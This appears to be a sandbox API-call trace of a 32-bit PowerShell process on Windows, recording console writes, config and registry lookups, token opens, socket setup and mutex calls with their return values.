	[0088.857] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x157
	[0088.858] GetLastError () returned 0xcb
	[0088.858] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x157, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0088.858] GetLastError () returned 0xcb
	[0088.858] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x15b, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.858] GetLastError () returned 0xcb
	[0088.862] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15f
	[0088.863] GetLastError () returned 0xcb
	[0088.863] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x15f, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.863] GetLastError () returned 0xcb
	[0088.867] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x163
	[0088.867] GetLastError () returned 0xcb
	[0088.867] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x163, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.867] GetLastError () returned 0xcb
	[0088.867] SetConsoleTextAttribute (hConsoleOutput=0x163, wAttributes=0xc) returned 1
	[0088.868] GetLastError () returned 0xcb
	[0088.868] CloseHandle (hObject=0x163) returned 1
	[0088.868] GetLastError () returned 0xcb
	[0088.873] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x163
	[0088.873] GetLastError () returned 0xcb
	[0088.873] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x163, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.874] GetLastError () returned 0xcb
	[0088.874] SetConsoleTextAttribute (hConsoleOutput=0x163, wAttributes=0xc) returned 1
	[0088.874] GetLastError () returned 0xcb
	[0088.874] CloseHandle (hObject=0x163) returned 1
	[0088.874] GetLastError () returned 0xcb
	[0088.878] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x163
	[0088.879] GetLastError () returned 0xcb
	[0088.879] GetConsoleMode (in: hConsoleHandle=0x163, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0088.879] GetLastError () returned 0xcb
	[0088.879] WriteConsoleW (in: hConsoleOutput=0x163, lpBuffer=0x2cdbcec*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2cdbcec*, lpNumberOfCharsWritten=0x5eaefcc*=0x1) returned 1
	[0088.879] GetLastError () returned 0xcb
	[0088.879] CloseHandle (hObject=0x163) returned 1
	[0088.879] GetLastError () returned 0xcb
	[0088.884] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x163
	[0088.884] GetLastError () returned 0xcb
	[0088.884] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x163, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.884] GetLastError () returned 0xcb
	[0088.884] SetConsoleTextAttribute (hConsoleOutput=0x163, wAttributes=0x7) returned 1
	[0088.884] GetLastError () returned 0xcb
	[0088.884] CloseHandle (hObject=0x163) returned 1
	[0088.885] GetLastError () returned 0xcb
	[0088.889] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x163
	[0088.889] GetLastError () returned 0xcb
	[0088.889] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x163, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.889] GetLastError () returned 0xcb
	[0088.889] SetConsoleTextAttribute (hConsoleOutput=0x163, wAttributes=0x7) returned 1
	[0088.890] GetLastError () returned 0xcb
	[0088.890] CloseHandle (hObject=0x163) returned 1
	[0088.890] GetLastError () returned 0xcb
	[0088.893] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x163
	[0088.893] GetLastError () returned 0xcb
	[0088.893] GetConsoleMode (in: hConsoleHandle=0x163, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0088.894] GetLastError () returned 0xcb
	[0088.894] WriteConsoleW (in: hConsoleOutput=0x163, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0088.894] GetLastError () returned 0xcb
	[0088.894] CloseHandle (hObject=0x163) returned 1
	[0088.894] GetLastError () returned 0xcb
	[0088.940] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6925c8, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0088.940] GetLastError () returned 0xcb
	[0089.270] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x5eaecd4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c
	[0089.270] GetLastError () returned 0xcb
	[0089.270] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x5eaec88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c
	[0089.270] GetLastError () returned 0xcb
	[0089.274] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6a0978, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39
	[0089.274] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x5eaed0c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39
	[0089.274] GetLastError () returned 0x0
	[0089.296] GetCurrentProcess () returned 0xffffffff
	[0089.296] GetLastError () returned 0x3f0
	[0089.296] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaee20 | out: TokenHandle=0x5eaee20*=0x360) returned 1
	[0089.296] GetLastError () returned 0x3f0
	[0089.300] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x5eae9b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e
	[0089.300] GetLastError () returned 0x0
	[0089.303] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x5eae978, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x43
	[0089.303] GetLastError () returned 0x0
	[0089.303] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368
	[0089.303] GetLastError () returned 0x0
	[0089.303] GetFileType (hFile=0x368) returned 0x1
	[0089.303] SetErrorMode (uMode=0x1) returned 0x1
	[0089.303] GetFileType (hFile=0x368) returned 0x1
	[0089.307] CloseHandle (hObject=0x368) returned 1
	[0089.307] GetLastError () returned 0x0
	[0089.309] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6a0978, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39
	[0089.309] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x5eaed0c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39
	[0089.309] GetLastError () returned 0x0
	[0089.311] GetCurrentProcess () returned 0xffffffff
	[0089.311] GetLastError () returned 0x3f0
	[0089.311] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaf0b0 | out: TokenHandle=0x5eaf0b0*=0x368) returned 1
	[0089.311] GetLastError () returned 0x3f0
	[0089.312] GetCurrentProcess () returned 0xffffffff
	[0089.312] GetLastError () returned 0x3f0
	[0089.312] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaf0b0 | out: TokenHandle=0x5eaf0b0*=0x364) returned 1
	[0089.312] GetLastError () returned 0x3f0
	[0089.312] GetCurrentProcess () returned 0xffffffff
	[0089.312] GetLastError () returned 0x3f0
	[0089.313] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaee20 | out: TokenHandle=0x5eaee20*=0x36c) returned 1
	[0089.313] GetLastError () returned 0x3f0
	[0089.313] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x5eaee60 | out: lpFileInformation=0x5eaee60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.313] GetLastError () returned 0x2
	[0089.313] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x5eae978, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c
	[0089.313] GetLastError () returned 0x2
	[0089.313] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x5eaee5c | out: lpFileInformation=0x5eaee5c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.313] GetLastError () returned 0x2
	[0089.313] GetCurrentProcess () returned 0xffffffff
	[0089.313] GetLastError () returned 0x3f0
	[0089.313] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaf0b0 | out: TokenHandle=0x5eaf0b0*=0x370) returned 1
	[0089.313] GetLastError () returned 0x3f0
	[0089.314] GetCurrentProcess () returned 0xffffffff
	[0089.314] GetLastError () returned 0x3f0
	[0089.314] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaf0b0 | out: TokenHandle=0x5eaf0b0*=0x374) returned 1
	[0089.314] GetLastError () returned 0x3f0
	[0089.324] GetCurrentProcess () returned 0xffffffff
	[0089.324] GetLastError () returned 0x3f0
	[0089.324] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaee8c | out: TokenHandle=0x5eaee8c*=0x378) returned 1
	[0089.324] GetLastError () returned 0x3f0
	[0089.325] GetCurrentProcess () returned 0xffffffff
	[0089.325] GetLastError () returned 0x3f0
	[0089.325] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaee9c | out: TokenHandle=0x5eaee9c*=0x3b4) returned 1
	[0089.325] GetLastError () returned 0x3f0
	[0089.327] GetLastError () returned 0x0
	[0089.327] GetFileType (hFile=0x39c) returned 0x1
	[0089.327] SetErrorMode (uMode=0x1) returned 0x1
	[0089.327] GetFileType (hFile=0x39c) returned 0x1
	[0089.342] GetCurrentProcess () returned 0xffffffff
	[0089.342] GetLastError () returned 0x3f0
	[0089.342] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaeeb0 | out: TokenHandle=0x5eaeeb0*=0x3c8) returned 1
	[0089.342] GetLastError () returned 0x3f0
	[0089.343] GetCurrentProcess () returned 0xffffffff
	[0089.343] GetLastError () returned 0x3f0
	[0089.343] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaeec0 | out: TokenHandle=0x5eaeec0*=0x3cc) returned 1
	[0089.343] GetLastError () returned 0x3f0
	[0089.347] GetCurrentProcess () returned 0xffffffff
	[0089.347] GetLastError () returned 0x3f0
	[0089.347] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaee84 | out: TokenHandle=0x5eaee84*=0x3d0) returned 1
	[0089.347] GetLastError () returned 0x3f0
	[0089.347] GetCurrentProcess () returned 0xffffffff
	[0089.347] GetLastError () returned 0x3f0
	[0089.347] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaee94 | out: TokenHandle=0x5eaee94*=0x3d4) returned 1
	[0089.347] GetLastError () returned 0x3f0
	[0089.348] GetCurrentProcess () returned 0xffffffff
	[0089.348] GetLastError () returned 0x3f0
	[0089.348] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaf188 | out: TokenHandle=0x5eaf188*=0x3d8) returned 1
	[0089.348] GetLastError () returned 0x3f0
	[0089.379] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x5eae1e8 | out: phkResult=0x5eae1e8*=0x3dc) returned 0x0
	[0089.379] RegQueryValueExW (in: hKey=0x3dc, lpValueName="InstallationType", lpReserved=0x0, lpType=0x5eae230, lpData=0x0, lpcbData=0x5eae22c*=0x0 | out: lpType=0x5eae230*=0x1, lpData=0x0, lpcbData=0x5eae22c*=0xe) returned 0x0
	[0089.379] RegQueryValueExW (in: hKey=0x3dc, lpValueName="InstallationType", lpReserved=0x0, lpType=0x5eae230, lpData=0x6925c8, lpcbData=0x5eae22c*=0xe | out: lpType=0x5eae230*=0x1, lpData="Client", lpcbData=0x5eae22c*=0xe) returned 0x0
	[0089.380] RegCloseKey (hKey=0x3dc) returned 0x0
	[0089.443] RasEnumConnectionsW (in: param_1=0x6a21c8, param_2=0x5eaf200, param_3=0x5eaf204 | out: param_1=0x6a21c8, param_2=0x5eaf200, param_3=0x5eaf204) returned 0x0
	[0089.599] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6a21c8 | out: lpWSAData=0x6a21c8) returned 0
	[0089.616] GetLastError () returned 0x0
	[0089.619] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x428
	[0089.838] GetLastError () returned 0x0
	[0089.838] setsockopt (s=0x428, level=65535, optname=128, optval="\x01", optlen=4) returned -1
	[0089.838] GetLastError () returned 0x273a
	[0089.838] closesocket (s=0x428) returned 0
	[0089.838] GetLastError () returned 0x0
	[0089.839] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x428
	[0089.865] GetLastError () returned 0x0
	[0089.865] setsockopt (s=0x428, level=65535, optname=128, optval="\x01", optlen=4) returned -1
	[0089.865] GetLastError () returned 0x273a
	[0089.865] closesocket (s=0x428) returned 0
	[0089.865] GetLastError () returned 0x0
	[0089.868] GetCurrentProcess () returned 0xffffffff
	[0089.868] GetLastError () returned 0x3f0
	[0089.868] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaed6c | out: TokenHandle=0x5eaed6c*=0x428) returned 1
	[0089.868] GetLastError () returned 0x3f0
	[0089.872] GetCurrentProcess () returned 0xffffffff
	[0089.872] GetLastError () returned 0x3f0
	[0089.872] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaed7c | out: TokenHandle=0x5eaed7c*=0x42c) returned 1
	[0089.872] GetLastError () returned 0x3f0
	[0089.883] GetComputerNameW (in: lpBuffer=0x6a21c8, nSize=0x2c132fc | out: lpBuffer="XABNCPUWKW", nSize=0x2c132fc) returned 1
	[0089.883] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x5eaefd0 | out: phkResult=0x5eaefd0*=0x430) returned 0x0
	[0089.883] RegQueryValueExW (in: hKey=0x430, lpValueName="Library", lpReserved=0x0, lpType=0x5eaf018, lpData=0x0, lpcbData=0x5eaf014*=0x0 | out: lpType=0x5eaf018*=0x1, lpData=0x0, lpcbData=0x5eaf014*=0x1c) returned 0x0
	[0089.883] RegQueryValueExW (in: hKey=0x430, lpValueName="Library", lpReserved=0x0, lpType=0x5eaf018, lpData=0x6925c8, lpcbData=0x5eaf014*=0x1c | out: lpType=0x5eaf018*=0x1, lpData="netfxperf.dll", lpcbData=0x5eaf014*=0x1c) returned 0x0
	[0089.883] RegQueryValueExW (in: hKey=0x430, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x5eaf018, lpData=0x0, lpcbData=0x5eaf014*=0x0 | out: lpType=0x5eaf018*=0x4, lpData=0x0, lpcbData=0x5eaf014*=0x4) returned 0x0
	[0089.883] RegQueryValueExW (in: hKey=0x430, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x5eaf018, lpData=0x5eaf004, lpcbData=0x5eaf014*=0x4 | out: lpType=0x5eaf018*=0x4, lpData=0x5eaf004*=0x1, lpcbData=0x5eaf014*=0x4) returned 0x0
	[0089.884] RegQueryValueExW (in: hKey=0x430, lpValueName="First Counter", lpReserved=0x0, lpType=0x5eaf018, lpData=0x0, lpcbData=0x5eaf014*=0x0 | out: lpType=0x5eaf018*=0x4, lpData=0x0, lpcbData=0x5eaf014*=0x4) returned 0x0
	[0089.884] RegQueryValueExW (in: hKey=0x430, lpValueName="First Counter", lpReserved=0x0, lpType=0x5eaf018, lpData=0x5eaf004, lpcbData=0x5eaf014*=0x4 | out: lpType=0x5eaf018*=0x4, lpData=0x5eaf004*=0x137a, lpcbData=0x5eaf014*=0x4) returned 0x0
	[0089.884] RegCloseKey (hKey=0x430) returned 0x0
	[0089.884] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.net clr networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x5eaefcc | out: phkResult=0x5eaefcc*=0x430) returned 0x0
	[0089.884] RegQueryValueExW (in: hKey=0x430, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x5eaf014, lpData=0x0, lpcbData=0x5eaf010*=0x0 | out: lpType=0x5eaf014*=0x4, lpData=0x0, lpcbData=0x5eaf010*=0x4) returned 0x0
	[0089.884] RegQueryValueExW (in: hKey=0x430, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x5eaf014, lpData=0x5eaf000, lpcbData=0x5eaf010*=0x4 | out: lpType=0x5eaf014*=0x4, lpData=0x5eaf000*=0x3, lpcbData=0x5eaf010*=0x4) returned 0x0
	[0089.884] RegQueryValueExW (in: hKey=0x430, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x5eaf014, lpData=0x0, lpcbData=0x5eaf010*=0x0 | out: lpType=0x5eaf014*=0x4, lpData=0x0, lpcbData=0x5eaf010*=0x4) returned 0x0
	[0089.884] RegQueryValueExW (in: hKey=0x430, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x5eaf014, lpData=0x5eaf000, lpcbData=0x5eaf010*=0x4 | out: lpType=0x5eaf014*=0x4, lpData=0x5eaf000*=0x20000, lpcbData=0x5eaf010*=0x4) returned 0x0
	[0089.884] RegQueryValueExW (in: hKey=0x430, lpValueName="Counter Names", lpReserved=0x0, lpType=0x5eaf014, lpData=0x0, lpcbData=0x5eaf010*=0x0 | out: lpType=0x5eaf014*=0x3, lpData=0x0, lpcbData=0x5eaf010*=0xaa) returned 0x0
	[0089.884] RegQueryValueExW (in: hKey=0x430, lpValueName="Counter Names", lpReserved=0x0, lpType=0x5eaf014, lpData=0x2c15a54, lpcbData=0x5eaf010*=0xaa | out: lpType=0x5eaf014*=0x3, lpData=0x2c15a54*, lpcbData=0x5eaf010*=0xaa) returned 0x0
	[0089.884] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1
	[0089.885] GetLastError () returned 0x0
	[0089.885] RegCloseKey (hKey=0x430) returned 0x0
	[0089.885] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2c164bc, cbSid=0x5eaefc4 | out: pSid=0x2c164bc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5eaefc4) returned 1
	[0089.886] GetLastError () returned 0x0
	[0089.886] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2c167c8, cbSid=0x5eaef84 | out: pSid=0x2c167c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5eaef84) returned 1
	[0089.886] GetLastError () returned 0x0
	[0089.886] GetProcessTimes (in: hProcess=0x438, lpCreationTime=0x5eaef88, lpExitTime=0x5eaef80, lpKernelTime=0x5eaef80, lpUserTime=0x5eaef80 | out: lpCreationTime=0x5eaef88, lpExitTime=0x5eaef80, lpKernelTime=0x5eaef80, lpUserTime=0x5eaef80) returned 1
	[0089.886] GetLastError () returned 0x5
	[0089.890] CloseHandle (hObject=0x438) returned 1
	[0089.890] GetLastError () returned 0x5
	[0089.890] ReleaseMutex (hMutex=0x430) returned 1
	[0089.890] GetLastError () returned 0x5
	[0089.890] CloseHandle (hObject=0x430) returned 1
	[0089.890] GetLastError () returned 0x5
	[0089.890] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2c171dc, cbSid=0x5eaefc4 | out: pSid=0x2c171dc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5eaefc4) returned 1
	[0089.890] GetLastError () returned 0x5
	[0089.891] CreateMutexW (lpMutexAttributes=0x2c172ec, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x430
	[0089.891] GetLastError () returned 0x0
	[0089.891] WaitForSingleObject (hHandle=0x430, dwMilliseconds=0x1f4) returned 0x0
	[0089.891] GetLastError () returned 0x0
	[0089.891] ReleaseMutex (hMutex=0x430) returned 1
	[0089.891] GetLastError () returned 0x0
	[0089.891] CloseHandle (hObject=0x430) returned 1
	[0089.891] GetLastError () returned 0x0
	[0089.891] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2c17a80, cbSid=0x5eaefc4 | out: pSid=0x2c17a80*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5eaefc4) returned 1
	[0089.891] GetLastError () returned 0x0
	[0089.891] CreateMutexW (lpMutexAttributes=0x2c17b90, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x430
	[0089.892] GetLastError () returned 0x0
	[0089.892] WaitForSingleObject (hHandle=0x430, dwMilliseconds=0x1f4) returned 0x0
	[0089.892] GetLastError () returned 0x0
	[0089.892] ReleaseMutex (hMutex=0x430) returned 1
	[0089.892] GetLastError () returned 0x0
	[0089.892] CloseHandle (hObject=0x430) returned 1
	[0089.892] GetLastError () returned 0x0
	[0089.892] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2c18328, cbSid=0x5eaefc4 | out: pSid=0x2c18328*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5eaefc4) returned 1
	[0089.892] GetLastError () returned 0x0
	[0089.892] CreateMutexW (lpMutexAttributes=0x2c18438, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x430
	[0089.892] GetLastError () returned 0x0
	[0089.892] WaitForSingleObject (hHandle=0x430, dwMilliseconds=0x1f4) returned 0x0
	[0089.892] GetLastError () returned 0x0
	[0089.892] ReleaseMutex (hMutex=0x430) returned 1
	[0089.892] GetLastError () returned 0x0
	[0089.892] CloseHandle (hObject=0x430) returned 1
	[0089.892] GetLastError () returned 0x0
	[0089.893] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2c18bc8, cbSid=0x5eaefc4 | out: pSid=0x2c18bc8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5eaefc4) returned 1
	[0089.893] GetLastError () returned 0x0
	[0089.893] CreateMutexW (lpMutexAttributes=0x2c18cd8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x430
	[0089.893] GetLastError () returned 0x0
	[0089.893] WaitForSingleObject (hHandle=0x430, dwMilliseconds=0x1f4) returned 0x0
	[0089.893] GetLastError () returned 0x0
	[0089.893] ReleaseMutex (hMutex=0x430) returned 1
	[0089.893] GetLastError () returned 0x0
	[0089.893] CloseHandle (hObject=0x430) returned 1
	[0089.893] GetLastError () returned 0x0
	[0089.893] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2c19464, cbSid=0x5eaefbc | out: pSid=0x2c19464*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5eaefbc) returned 1
	[0089.893] GetLastError () returned 0x0
	[0089.894] CreateMutexW (lpMutexAttributes=0x2c19574, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x430
	[0089.894] GetLastError () returned 0x0
	[0089.894] WaitForSingleObject (hHandle=0x430, dwMilliseconds=0x1f4) returned 0x0
	[0089.894] GetLastError () returned 0x0
	[0089.894] ReleaseMutex (hMutex=0x430) returned 1
	[0089.894] GetLastError () returned 0x0
	[0089.894] CloseHandle (hObject=0x430) returned 1
	[0089.894] GetLastError () returned 0x0
